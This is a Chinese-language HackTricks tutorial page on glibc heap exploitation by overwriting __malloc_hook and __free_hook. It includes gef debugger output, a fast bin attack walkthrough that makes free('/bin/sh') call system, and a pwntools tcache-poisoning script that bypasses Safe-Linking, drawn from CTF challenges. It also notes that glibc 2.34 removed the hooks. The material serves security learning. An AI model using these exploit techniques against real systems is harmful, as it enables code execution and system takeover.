WWW2Exec - __malloc_hook & __free_hook
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Malloc Hook
正如你可以在 Official GNU site 上看到的,变量 __malloc_hook
是一个指针,指向 每当调用 malloc()
时将被调用的函数的地址,该地址 存储在 libc 库的数据段中。因此,如果这个地址被覆盖为一个 One Gadget,例如,当调用 malloc
时,One Gadget 将被调用。
要调用 malloc,可以等待程序调用它,或者通过 调用 printf("%10000$c")
,这会分配太多字节,使得 libc
调用 malloc 在堆中分配它们。
有关 One Gadget 的更多信息,请参见:
warning
请注意,GLIBC >= 2.34 的钩子已被禁用。在现代 GLIBC 版本中可以使用其他技术。请参见:https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md。
Free Hook
在页面的一个示例中滥用了这一点,滥用了一次快速 bin 攻击,之前进行了未排序 bin 攻击:
如果二进制文件具有符号,可以使用以下命令找到 __free_hook
的地址:
gef➤ p &__free_hook
在这篇文章中,你可以找到如何在没有符号的情况下定位 free hook 地址的逐步指南。总结一下,在 free 函数中:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- 在这里中断
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
在前面代码中提到的中断位置,$eax
中将会存放 free hook 的地址。
现在进行一个 fast bin attack:
- 首先发现可以在
__free_hook
位置处理大小为 200 的快速 chunks: gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- 如果我们能够在这个位置获取一个大小为 0x200 的快速 chunk,就可以覆盖一个将被执行的函数指针。
- 为此,创建一个大小为
0xfc
的新 chunk,并用该指针调用合并函数两次,这样我们就可以在快速 bin 中获得一个大小为0xfc*2 = 0x1f8
的已释放 chunk 的指针。 - 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的
fd
地址修改为指向之前的__free_hook
函数。 - 接着,创建一个大小为
0x1f8
的 chunk,从快速 bin 中检索之前无用的 chunk,因此再创建一个大小为0x1f8
的 chunk,以在__free_hook
中获取一个快速 bin chunk,并用system
函数的地址覆盖它。 - 最后,释放一个包含字符串
/bin/sh\x00
的 chunk,调用删除函数,触发指向系统的__free_hook
函数,参数为/bin/sh\x00
。
Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 引入了 Safe-Linking – 一种完整性检查,保护 tcache 和快速 bins 使用的 单 链表。ptmalloc 现在不再存储原始的前向指针 (fd
),而是用以下宏存储它 混淆 过的:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
利用的后果:
- 堆泄漏是必需的 – 攻击者必须知道
chunk_addr >> 12
的运行时值,以构造有效的混淆指针。 - 只能伪造完整的8字节指针;单字节部分覆盖将无法通过检查。
因此,一个最小的tcache中毒原语,覆盖glibc 2.32/2.33上的__free_hook
看起来像:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
上面的片段改编自最近的CTF挑战,例如UIUCTF 2024 – «Rusty Pointers»和openECSC 2023 – «Babyheap G»,这两个挑战都依赖于Safe-Linking绕过来覆盖__free_hook
。
glibc ≥ 2.34中发生了什么变化?
从glibc 2.34(2021年8月)开始,分配钩子__malloc_hook
、__realloc_hook
、__memalign_hook
和__free_hook
被从公共API中移除,不再被分配器调用。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响malloc()
或free()
的控制流。
实际影响:在现代发行版(Ubuntu 22.04+、Fedora 35+、Debian 12等)上,您必须转向其他劫持原语(IO-FILE、__run_exit_handlers
、vtable喷洒等),因为钩子覆盖将静默失败。
如果您仍然需要旧的行为进行调试,glibc提供了libc_malloc_debug.so
,可以预加载以重新启用遗留钩子——但该库不适合生产环境,可能在未来的版本中消失。
参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook
- https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.
- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
- glibc 2.34 release notes – removal of malloc hooks
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。